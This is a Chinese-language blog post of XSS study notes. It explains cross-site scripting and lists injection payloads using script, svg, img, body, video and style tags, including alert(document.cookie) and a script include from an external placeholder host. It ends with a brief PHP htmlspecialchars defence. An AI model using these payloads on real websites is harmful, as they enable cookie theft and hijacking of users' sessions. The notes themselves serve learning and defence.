XSS学习笔记

XSS学习笔记

枫
2023-04-29 / 0 评论 / 36 阅读 / 耗时 146ms / 正在检测是否收录...

xss原理

  xss跨站脚本攻击,攻击者通过往web页面里插入恶意的script代码,当用户浏览页面时,嵌入web页面里的script代码就会被执行,从而达到攻击的目的。xss攻击是针对用户层面的。

xss分类

XSS能做什么

检测XSS

<script>alert(1)</script>

XSS的常用语句,刷新之后若有弹窗,说明存在XSS。

XSS攻击载荷

script标签

<script>alert("hello")</script>     #弹出hello
<script>alert(/hello/)</script>      #弹出hello
<script>alert(1)</script>              #弹出1,数字可以不用引号
<script>alert(document.cookie)</script>      #弹出cookie
<script src=http://xxx.com.sxx.js></script>  #引用外部xss

svg标签

<svg onload=alert(1)>
<svg onload=alert(1)//  #所有的标签>都可以用//替换

img标签

<img src=1 onerror=alert("hello")>
<img src=1 onerror=alert(document.cookie)>

body标签

<body onload=alert("hello")>
<body onpageshow=alert(1)>

video标签

<video onloadstart=alert(1) src="/xx/xx"/>

style标签

<style onload=alert(1)></style>

XSS的防御

如下,是使用php中的htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体

使用htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体
$name = htmlspecialchars( $_GET[ 'name' ] );
4

海报

正在生成.....

评论 (0)

取消